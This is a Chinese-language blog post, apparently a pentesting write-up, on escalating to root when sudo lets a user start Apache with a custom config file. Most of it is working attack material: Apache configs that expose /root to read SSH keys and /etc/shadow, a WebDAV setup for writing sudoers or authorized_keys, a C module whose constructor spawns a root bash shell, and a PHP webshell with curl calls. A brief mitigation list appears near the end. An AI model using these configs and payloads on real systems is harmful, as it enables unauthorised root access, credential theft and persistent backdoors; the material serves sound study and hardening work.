Apache 配置文件提权的实战思考

在 Linux 系统中,如果普通用户被授予以 sudo 执行 Apache 并加载自定义配置文件的权限(如 sudo apache2 -f /home/user/user.conf),那么该权限极可能被滥用为本地提权路径。

虽然 Apache 默认采用了更严格的权限限制机制(尤其是在脚本执行部分),但从服务功能层面看,它与 nginx 类似,也支持配置中实现任意文件读写、恶意模块注入、Web 服务开启等关键操作。因此,当攻击者具备这类配置能力,结合 Apache 的模块化和丰富功能,同样能实现一整条提权利用链。


🧷 sudo 权限前提

假设当前用户 mikannse 具有如下权限:

bash 复制代码
User mikannse may run the following commands:
    (root) NOPASSWD: /usr/sbin/apache2 -f /home/mikannse/mikannse.conf

等同于赋予攻击者以 root 身份加载任意 Apache 配置 的能力。


🎯 核心目标

我们的目标是利用这条权限完成:

  • ✅ 任意文件读取(例如 /root/.ssh/id_rsa、/etc/shadow)
  • ✅ 任意文件写入(例如覆盖 /etc/passwd、上传公钥、植入 suid 后门)
  • ✅ 执行自定义 .so 模块代码(即恶意模块加载)
  • ✅ 启动受控的 Web 服务(反弹 shell、内网持久化)
  • ⚠️ 注意:直接通过 Apache 执行 php 或 bash 并不能获得 root shell,因为 Apache worker 会降权。

1️⃣ 任意文件读取

思路:配置 Apache 静态文件服务,设置 DocumentRoot 为任意目录,包括 /root、/etc 等。

apache 复制代码
ServerRoot "/tmp/apache"
PidFile /tmp/apache/httpd.pid
Listen 9999

User root
Group root

DocumentRoot "/root"
<Directory "/root">
    Require all granted
    Options +Indexes
</Directory>

启动 Apache 后即可通过 HTTP 获取任意目录中文件:

bash 复制代码
sudo apache2 -f /home/mikannse/mikannse.conf
curl http://127.0.0.1:9999/.ssh/id_rsa
curl http://127.0.0.1:9999/.bash_history

🔧 注意事项 :Apache 必须使用 User root 启动,才能访问受限目录内容(否则文件读取失败)。即使 worker 进程降权,root 主进程仍能完成初始文件打开操作。


2️⃣ 任意文件写入(PUT / POST)

开启 WebDAV 模块即可允许上传任意文件至指定路径,等同于拥有远程 write 权限。

apache 复制代码
LoadModule dav_module /usr/lib/apache2/modules/mod_dav.so
LoadModule dav_fs_module /usr/lib/apache2/modules/mod_dav_fs.so

DocumentRoot "/tmp/web"
<Directory "/tmp/web">
    DAV On
    Options Indexes
    Require all granted
</Directory>

启动:

bash 复制代码
mkdir -p /tmp/web
sudo apache2 -f /home/mikannse/mikannse.conf

上传:

bash 复制代码
curl -T /home/mikannse/rootme /tmp/web/rootme http://127.0.0.1:9999/rootme

然后你可以:

  • 覆盖 /etc/sudoers 实现 sudo 提权(需慎重)
  • 写入 root 公钥到 /root/.ssh/authorized_keys
  • 上传 suid 程序、定时任务文件,达成 root 反弹 shell

3️⃣ 恶意模块注入(.so)

与 nginx 一样,Apache 可通过 LoadModule 加载 .so 模块,只要你构造的是合法 Apache 模块格式,就可被 root 加载并执行构造函数中的任意命令。

模块示例(rootme.c):

c 复制代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "httpd.h"
#include "http_config.h"

static void pwn() __attribute__((constructor));

static void pwn() {
    setuid(0); setgid(0);
    system("/bin/bash -p");
}

module AP_MODULE_DECLARE_DATA rootme_module = {
    STANDARD20_MODULE_STUFF,
    NULL, NULL, NULL, NULL, NULL, NULL
};

编译模块:

bash 复制代码
apxs -c rootme.c

配置加载:

apache 复制代码
LoadModule rootme_module /home/mikannse/.libs/rootme.so

只要 Apache 以 root 启动,模块加载时会执行构造函数,直接获得 root shell。


4️⃣ 植入后门 + WebShell 控制

Apache 可用作后门 Web 服务:

apache 复制代码
DocumentRoot "/home/mikannse/www"
<Directory "/home/mikannse/www">
    Require all granted
</Directory>
DirectoryIndex shell.php

上传 WebShell:

php 复制代码
<?php system($_GET['cmd']); ?>

访问:

bash 复制代码
curl "http://127.0.0.1:9999/shell.php?cmd=id"

⚠️ 若启用 php-fpm,实际命令执行权限取决于 FPM 配置(通常非 root)。


🆚 与 Nginx 提权路径对比

利用方式 Nginx Apache 是否能提权
任意读文件 ✅ ✅ ✅(root)
任意写文件 ✅ ✅ ✅(root)
恶意模块加载 ✅ ✅ ✅(root)
PHP Shell 执行 ✅ ✅ ⚠️(非 root)
反向持久化服务 ✅ ✅ ✅

🔐 防御建议

  • 禁止 sudo 加载 Apache 配置文件,或使用白名单 wrapper 限制参数
  • Apache 启动用户不应为 root(可强制降权)
  • 不允许普通用户编译 .so 模块(移除 apxs, gcc, make)
  • 检查并限制 WebDAV、mod_cgi、mod_userdir 等高危模块
  • 配置 AppArmor / SELinux 限制 Apache 文件访问范围

✅ 总结

Apache 的配置文件注入同 nginx 一样,当其以 root 启动并加载恶意配置文件时,就能构造完整提权链条。虽然 Apache 为避免子进程运行在 root 下进行了设计限制,但这不妨碍我们通过:

  • 恶意模块构造
  • 静态文件服务绕权限读文件
  • 开启 WebDAV 实现任意写文件
  • WebShell 持久化控制

达成本地 root 提权或横向打点目标。

相关推荐
运维小文6 小时前
apache nifi 2.90部署+运维手册
大数据·运维·数据分析·apache·nifi
todoitbo1 天前
把 XAMPP 搬到鸿蒙 PC:在鸿蒙 PC 上跑 Apache httpd 2.4.69实战项目
华为·apache·harmonyos·鸿蒙·开源鸿蒙·鸿蒙pc
AI行业应用研究1 天前
会务系统的查询路径设计:从菜单导航到意图检索,多大规模的活动该配 AI 助理?
人工智能·apache
超龄超能程序猿1 天前
Apache Guacamole 入门指南
apache
豆角焖肉2 天前
Apache POI 实现 Excel 上传解析、导出
apache·poi·multipartfile·excel 导入导出·批量导入
nvd113 天前
深入剖析:GCP Pub/Sub 与 Apache Kafka 对消息处理延迟与消费者卡死的处理机制异同
分布式·kafka·apache
白帽攻防录3 天前
SRC 挖洞:Apache APISIX 非规范路径授权绕过深度复盘,CVE-2026-94269 怎么绕过网关访问后端
网络安全·apache·src漏洞挖掘
Knight_AL4 天前
从 EasyExcel 到 Apache Fesod:Java Excel 处理生态的一次重构
java·apache·excel
心易行者5 天前
Agent应用+API端点商业化进阶实战:从单体智能体到可付费调用的API全流程
运维·服务器·人工智能·python·apache
文慧的科技江湖10 天前
2026年10月4日充电桩行业晚报:当“只充80%“成为通行规则,行业开始管单车占桩时长 | 慧知开源充电桩平台
开源·apache·新能源·虚拟电厂·充电桩·ocpp·v2g